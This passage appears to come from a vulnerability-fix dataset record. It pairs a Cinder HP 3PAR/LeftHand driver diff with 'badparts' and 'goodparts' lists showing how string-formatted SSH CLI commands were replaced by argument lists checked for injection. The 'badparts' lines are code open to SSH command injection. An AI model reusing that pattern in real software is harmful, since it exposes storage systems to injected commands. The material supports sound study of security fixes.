%s\" % k)\n- else:\n- cli_arg_strings.append(\" %s=%s\" % (k, v))\n-\n- cmd = verb + ''.join(cli_arg_strings)\n LOG.debug(\"SSH CMD = %s \" % cmd)\n \n (stdout, stderr) = self._run_ssh(cmd, False)\n@@ -334,7 +324,10 @@ def _ssh_execute(self, ssh, cmd, check_exit_code=True):\n channel.close()\n return (stdout, stderr)\n \n- def _run_ssh(self, command, check_exit=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n self.sshpool = utils.SSHPool(self.config.san_ip,\n self.config.san_ssh_port,\n@@ -367,10 +360,10 @@ def _run_ssh(self, command, check_exit=True, attempts=1):\n LOG.error(_(\"Error running ssh command: %s\") % command)\n \n def _delete_3par_host(self, hostname):\n- self._cli_run('removehost %s' % hostname, None)\n+ self._cli_run(['removehost', hostname])\n \n def _create_3par_vlun(self, volume, hostname):\n- out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)\n+ out = self._cli_run(['createvlun', volume, 'auto', hostname])\n if out and len(out) > 1:\n if \"must be in the same domain\" in out[0]:\n err = out[0].strip()\n@@ -392,7 +385,7 @@ def _safe_hostname(self, hostname):\n return hostname[:index]\n \n def _get_3par_host(self, hostname):\n- out = self._cli_run('showhost -verbose %s' % (hostname), None)\n+ out = self._cli_run(['showhost', '-verbose', hostname])\n LOG.debug(\"OUTPUT = \\n%s\" % (pprint.pformat(out)))\n host = {'id': None, 'name': None,\n 'domain': None,\n@@ -479,7 +472,7 @@ def _get_3par_host(self, hostname):\n \n def get_ports(self):\n # First get the active FC ports\n- out = self._cli_run('showport', None)\n+ out = self._cli_run(['showport'])\n \n # strip out header\n # N:S:P,Mode,State,----Node_WWN----,-Port_WWN/HW_Addr-,Type,\n@@ -496,7 +489,7 @@ def get_ports(self):\n ports['FC'].append(tmp[4])\n \n # now get the active iSCSI ports\n- out = self._cli_run('showport -iscsi', None)\n+ out = self._cli_run(['showport', '-iscsi'])\n \n # strip out header\n # N:S:P,State,IPAddr,Netmask,Gateway,\n@@ -510,7 +503,7 @@ def get_ports(self):\n ports['iSCSI'][tmp[2]] = {}\n \n # now get the nsp and iqn\n- result = self._cli_run('showport -iscsiname', None)\n+ result = self._cli_run(['showport', '-iscsiname'])\n if result:\n # first line is header\n # nsp, ip,iqn\n@@ -631,31 +624,27 @@ def _set_qos_rule(self, qos, vvs_name):\n cli_qos_string += ('-io %s ' % max_io)\n if max_bw is not None:\n cli_qos_string += ('-bw %sM ' % max_bw)\n- self._cli_run('setqos %svvset:%s' %\n- (cli_qos_string, vvs_name), None)\n+ self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])\n \n def _add_volume_to_volume_set(self, volume, volume_name,\n cpg, vvs_name, qos):\n if vvs_name is not None:\n # Admin has set a volume set name to add the volume to\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n else:\n vvs_name = self._get_3par_vvs_name(volume['id'])\n domain = self.get_domain(cpg)\n- self._cli_run('createvvset -domain %s %s' % (domain,\n- vvs_name), None)\n+ self._cli_run(['createvvset', '-domain', domain, vvs_name])\n self._set_qos_rule(qos, vvs_name)\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n \n def _remove_volume_set(self, vvs_name):\n # Must first clear the QoS rules before removing the volume set\n- self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)\n- self._cli_run('removevvset -f %s' % (vvs_name), None)\n+ self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])\n+ self._cli_run(['removevvset', '-f', vvs_name])\n \n def _remove_volume_from_volume_set(self, volume_name, vvs_name):\n- self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)\n+ self._cli_run(['removevvset', '-f', vvs_name, volume_name])\n \n def get_cpg(self, volume, allowSnap=False):\n volume_name = self._get_3par_vol_name(volume['id'])\n@@ -815,16 +804,16 @@ def create_volume(self, volume):\n def _copy_volume(self, src_name, dest_name, cpg=None, snap_cpg=None,\n tpvv=True):\n # Virtual volume sets are not supported with the -online option\n- cmd = 'createvvcopy -p %s -online ' % src_name\n+ cmd = ['createvvcopy', '-p', src_name, '-online']\n if snap_cpg:\n- cmd += '-snp_cpg %s ' % snap_cpg\n+ cmd.extend(['-snp_cpg', snap_cpg])\n if tpvv:\n- cmd += '-tpvv '\n+ cmd.append('-tpvv')\n if cpg:\n- cmd += cpg + ' '\n- cmd += dest_name\n+ cmd.append(cpg)\n+ cmd.append(dest_name)\n LOG.debug('Creating clone of a volume with %s' % cmd)\n- self._cli_run(cmd, None)\n+ self._cli_run(cmd)\n \n def get_next_word(self, s, search_string):\n \"\"\"Return the next word.\n@@ -871,9 +860,9 @@ def _get_vvset_from_3par(self, volume_name):\n NOTE(walter-boring): don't call this unless you know the volume is\n already in a vvset!\n \"\"\"\n- cmd = \"removevv -f %s\" % volume_name\n+ cmd = ['removevv', '-f', volume_name]\n LOG.debug(\"Issuing remove command to find vvset name %s\" % cmd)\n- out = self._cli_run(cmd, None)\n+ out = self._cli_run(cmd)\n vvset_name = None\n if out and len(out) > 1:\n if out[1].startswith(\"Attempt to delete \"):\n@@ -1037,7 +1026,7 @@ def delete_snapshot(self, snapshot):\n LOG.error(str(ex))\n \n def _get_3par_hostname_from_wwn_iqn(self, wwns_iqn):\n- out = self._cli_run('showhost -d', None)\n+ out = self._cli_run(['showhost', '-d'])\n # wwns_iqn may be a list of strings or a single\n # string. So, if necessary, create a list to loop.\n if not isinstance(wwns_iqn, list):\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_fc.py b/cinder/volume/drivers/san/hp/hp_3par_fc.py\nindex f9c46071b..f852f5a3c 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_fc.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_fc.py\n@@ -196,25 +196,31 @@ def terminate_connection(self, volume, connector, **kwargs):\n connector['wwpns'])\n self.common.client_logout()\n \n- def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n+ def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):\n \"\"\"Create a 3PAR host.\n \n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n- % (persona_id, domain,\n- hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-persona', persona_id, '-domain', domain,\n+ hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n \n return hostname\n \n- def _modify_3par_fibrechan_host(self, hostname, wwn):\n+ def _modify_3par_fibrechan_host(self, hostname, wwns):\n # when using -add, you can not send the persona or domain options\n- out = self.common._cli_run('createhost -add %s %s'\n- % (hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-add', hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_iscsi.py b/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\nindex c0d2f9c36..3cd6bea78 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\n@@ -261,17 +261,17 @@ def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id):\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n- (persona_id, domain, hostname, iscsi_iqn)\n- out = self.common._cli_run(cmd, None)\n+ cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',\n+ domain, hostname, iscsi_iqn]\n+ out = self.common._cli_run(cmd)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n \n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n- self.common._cli_run('createhost -iscsi -add %s %s'\n- % (hostname, iscsi_iqn), None)\n+ command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]\n+ self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n@@ -349,7 +349,7 @@ def _get_ip_using_nsp(self, nsp):\n \n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n- result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n+ result = self.common._cli_run(['showvlun', '-a', '-host', hostname])\n if result:\n # first line is header\n result = result[1:]\n@@ -361,7 +361,7 @@ def _get_active_nsp(self, hostname):\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n- result = self.common._cli_run('showvlun -a -showcols Port', None)\n+ result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])\n \n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts = {}\ndiff --git a/cinder/volume/drivers/san/hp_lefthand.py b/cinder/volume/drivers/san/hp_lefthand.py\nindex 0a5d02f7c..7fea86a38 100644\n--- a/cinder/volume/drivers/san/hp_lefthand.py\n+++ b/cinder/volume/drivers/san/hp_lefthand.py\n@@ -59,12 +59,11 @@ def __init__(self, *args, **kwargs):\n \n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n- cliq_arg_strings = []\n+ cmd_list = [verb]\n for k, v in cliq_args.items():\n- cliq_arg_strings.append(\" %s=%s\" % (k, v))\n- cmd = verb + ''.join(cliq_arg_strings)\n+ cmd_list.append(\"%s=%s\" % (k, v))\n \n- return self._run_ssh(cmd, check_exit_code)\n+ return self._run_ssh(cmd_list, check_exit_code)\n \n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n", "message": "", "files": {"/cinder/tests/test_hp3par.py": {"changes": [{"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n", "add": 4, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '", " 'fakehost 123456789012345 123456789054321')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost', '123456789012345',", " '123456789054321'])"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n create_host_ret = pack(CLI_CR +\n 'already used by host fakehost.foo (19)')\n _run_ssh(create_host_cmd, False).AndReturn([create_host_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(FC_SHOWHOST_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 5, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '", " 'fakehost 123456789012345 123456789054321')", " show_3par_cmd = 'showhost -verbose fakehost.foo'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost', '123456789012345',", " '123456789054321'])", " show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(NO_FC_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -add fakehost '\n- '123456789012345 123456789054321')\n+ create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',\n+ '123456789054321']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 4, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -add fakehost '", " '123456789012345 123456789054321')", " show_host_cmd = 'showhost -verbose fakehost'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',", " '123456789054321']", " show_host_cmd = ['showhost', '-verbose', 'fakehost']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n", "add": 4, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -persona 1 -domain '", " '(\\'OpenStack\\',) '", " 'fakehost iqn.1993-08.org.debian:01:222')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost',", " 'iqn.1993-08.org.debian:01:222'])"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n in_use_ret = pack('\\r\\nalready used by host fakehost.foo ')\n _run_ssh(create_host_cmd, False).AndReturn([in_use_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(ISCSI_3PAR_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 5, "remove": 5, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -persona 1 -domain '", " '(\\'OpenStack\\',) '", " 'fakehost iqn.1993-08.org.debian:01:222')", " show_3par_cmd = 'showhost -verbose fakehost.foo'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost',", " 'iqn.1993-08.org.debian:01:222'])", " show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_NO_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -iscsi -add fakehost '\n- 'iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -add fakehost '", " 'iqn.1993-08.org.debian:01:222')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',", " 'iqn.1993-08.org.debian:01:222']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI),\n ''])\n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])\n \n self.mox.ReplayAll()\n", "add": 1, "remove": 1, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_vlun_cmd = 'showvlun -a -host fakehost'"], "goodparts": [" show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n #record\n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n show_vlun_ret = 'no vluns listed\\r\\n'\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(show_vlun_ret), ''])\n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n \n self.mox.ReplayAll()\n", "add": 5, "remove": 5, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'", " show_vlun_cmd = 'showvlun -a -host fakehost'", " show_vlun_cmd = 'showvlun -a -showcols Port'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']", " show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']", " show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n config = self.setup_configuration()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])", "add": 1, "remove": 1, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_vlun_cmd = 'showvlun -a -showcols Port'"], "goodparts": [" show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']"]}]}, "/cinder/volume/drivers/san/hp/hp_3par_common.py": {"changes": [{"diff": "\n The 3PAR WS API server has a limit of concurrent connections.\n This is setting the number to the highest allowed, 15 connections.\n \"\"\"\n- self._cli_run(\"setwsapi -sru high\", None)\n+ self._cli_run(['setwsapi', '-sru', 'high'])\n \n def get_domain(self, cpg_name):\n try:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run(\"setwsapi -sru high\", None)"], "goodparts": [" self._cli_run(['setwsapi', '-sru', 'high'])"]}, {"diff": "\n LOG.debug(\"Extending Volume %s from %s to %s, by %s GB.\" %\n (volume_name, old_size, new_size, growth_size))\n try:\n- self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),\n- None)\n+ self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error extending volume %s\") % volume)\n", "add": 1, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),", " None)"], "goodparts": [" self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])"]}, {"diff": "\n capacity = int(round(capacity / MiB))\n return capacity\n \n- def _cli_run(self, verb, cli_args):\n+ def _cli_run(self, cmd):\n \"\"\"Runs a CLI command over SSH, without doing any result parsing.\"\"\"\n- cli_arg_strings = []\n- if cli_args:\n- for k, v in cli_args.items():\n- if k == '':\n- cli_arg_strings.append(\" %s\" % k)\n- else:\n- cli_arg_strings.append(\" %s=%s\" % (k, v))\n-\n- cmd = verb + ''.join(cli_arg_strings)\n LOG.debug(\"SSH CMD = %s \" % cmd)\n \n (stdout, stderr) = self._run_ssh(cmd, False)\n", "add": 1, "remove": 10, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" def _cli_run(self, verb, cli_args):", " cli_arg_strings = []", " if cli_args:", " for k, v in cli_args.items():", " if k == '':", " cli_arg_strings.append(\" %s\" % k)", " else:", " cli_arg_strings.append(\" %s=%s\" % (k, v))", " cmd = verb + ''.join(cli_arg_strings)"], "goodparts": [" def _cli_run(self, cmd):"]}, {"diff": "\n channel.close()\n return (stdout, stderr)\n \n- def _run_ssh(self, command, check_exit=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n self.sshpool = utils.SSHPool(self.config.san_ip,\n self.config.san_ssh_port,\n", "add": 4, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" def _run_ssh(self, command, check_exit=True, attempts=1):"], "goodparts": [" def _run_ssh(self, cmd_list, check_exit=True, attempts=1):", " utils.check_ssh_injection(cmd_list)", " command = ' '. join(cmd_list)"]}, {"diff": "\n LOG.error(_(\"Error running ssh command: %s\") % command)\n \n def _delete_3par_host(self, hostname):\n- self._cli_run('removehost %s' % hostname, None)\n+ self._cli_run(['removehost', hostname])\n \n def _create_3par_vlun(self, volume, hostname):\n- out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)\n+ out = self._cli_run(['createvlun', volume, 'auto', hostname])\n if out and len(out) > 1:\n if \"must be in the same domain\" in out[0]:\n err = out[0].strip()\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run('removehost %s' % hostname, None)", " out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)"], "goodparts": [" self._cli_run(['removehost', hostname])", " out = self._cli_run(['createvlun', volume, 'auto', hostname])"]}, {"diff": "\n return hostname[:index]\n \n def _get_3par_host(self, hostname):\n- out = self._cli_run('showhost -verbose %s' % (hostname), None)\n+ out = self._cli_run(['showhost', '-verbose', hostname])\n LOG.debug(\"OUTPUT = 